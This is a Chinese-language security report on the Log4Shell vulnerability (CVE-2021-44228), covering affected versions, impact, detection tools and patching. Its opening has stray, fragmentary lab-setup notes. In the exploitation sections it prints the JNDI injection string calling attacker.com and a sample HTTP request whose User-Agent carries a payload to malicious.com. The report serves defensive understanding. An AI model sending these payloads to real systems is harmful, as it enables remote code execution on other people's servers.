Igloo Corporation Won Chi-hyeon Log4shell 分析报告
CVE-2021-44228 Log4j 是 Apache 基金会的免费开源、基于 Java 的日志记录组件,适用于各种基于 Java 的服务;它支持通过 JNDI 查找并引用 JDNI 数据与对象(Java LDAP1389 Lookup),并使用通过 JNDI 找到的资源。
下载运行易受攻击服务器的 Docker 镜像文件 Asudo git clone sudo docker build . -t vulnerable-app 将新建的镜像命名为 vulnerable-app,并在当前目录中完成 Docker 镜像构建。
github.com/welk
关闭未使用的易受攻击服务器 docker ps -a 查看所有正在运行的 Docker 镜像 docker container 确认 ID
Log4Shell(CVE-2021-44228) 是 Apache Log4j 库中发现的一个**远程代码执行(RCE,Remote Code Execution)**漏洞。
攻击者可利用恶意负载(Payload)执行任意代码,并可能造成大范围的危害。
本报告分析 Log4Shell 的原理、影响、利用案例、检测及应对方法。
| 项目 | 描述 |
|---|---|
| 漏洞名称 | Log4Shell |
| CVE 编号 | CVE-2021-44228 |
| 漏洞类型 | 远程代码执行(RCE) |
| 受影响版本 | Log4j 2.0-beta9 ~ 2.14.1 |
| 已修补版本 | Log4j 2.15.0 及以上 |
| 攻击难度 | 低(仅需输入简单的字符串即可利用) |
| 严重程度 | 🔥 致命(CVSS 10.0) |
Log4Shell 利用 JNDI(Java 命名和目录接口,Java Naming and Directory Interface)查找功能的漏洞,使攻击者能够在远程服务器上执行恶意代码。
攻击者只需在日志中留下如下字符串即可利用该漏洞。
${jndi:ldap://attacker.com:1389/exploit}
4. 影响范围
Log4Shell 漏洞影响了众多使用 Log4j 的企业和服务。
4.1 受影响的主要服务与系统
- 云服务:AWS、Google Cloud、Microsoft Azure
- 企业级应用:Apache Struts、ElasticSearch、VMware vCenter
- 游戏服务器:Minecraft、Steam
- 各类 Web 应用与服务器:Spring Boot、Tomcat 等
5. 利用案例与攻击示例
5.1 Minecraft 服务器攻击
攻击者可在 Minecraft 聊天框中输入以下字符串来控制服务器。
shell
复制
编辑
${jndi:ldap://attacker.com:1389/exploit}
一旦服务器将其记入日志,就会通过 JNDI Lookup 在攻击者的服务器上执行恶意代码。
5.2 Web 应用攻击
在 HTTP 请求的 User-Agent、Referer、X-Forwarded-For 等会被记录日志的字段中注入恶意负载。
示例:
css
复制
编辑
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}
6. 检测与应对方案
6.1 漏洞检测方法
✅ 使用安全扫描器
log4j-scan (https://github.com/fullhunt/log4j-scan)
log4shell-detector (https://github.com/Neo23x0/log4shell-detector)
✅ 检查日志文件
如果日志中出现 `${jndi:ldap://...}` 之类的模式,需要立即响应。
✅ 网络监控
检查是否存在异常的 LDAP、RMI 请求。
6.2 应对方法
✅ 立即处置
升级到 Log4j 2.15.0 及以上版本。
在 Java 运行时设置环境变量:
shell
复制
编辑
-Dlog4j2.formatMsgNoLookups=true
在防火墙及 IDS/IPS 中拦截 `jndi:ldap://` 模式。
✅ 长期安全措施
限制 JNDI 使用并强化安全策略。
部署 WAF(Web Application Firewall)。
定期进行安全检查和漏洞扫描。
7. 补丁与解决方案
| Log4j 版本 | 应对措施 |
|------------|-----------|
| 2.0-beta9 ~ 2.14.1 | 存在漏洞,需要更新 |
| 2.15.0 | 默认禁用 JNDI Lookup |
| 2.16.0 | 完全移除 JNDI 功能 |
| 2.17.0 | 额外的安全加固措施 |
✅ 建议更新至最新版本(2.17.1 及以上)!
8. 结论
Log4Shell(CVE-2021-44228)被认为是近年来最严重的安全漏洞之一。
✅ 及时修补易受攻击的系统并持续进行安全监控是至关重要的。
✅ 必须对所有使用 Log4j 的应用程序进行安全检查。
9. 参考资料
Apache Log4j 官方安全公告
NIST National Vulnerability Database (CVE-2021-44228)
log4j-scan (GitHub)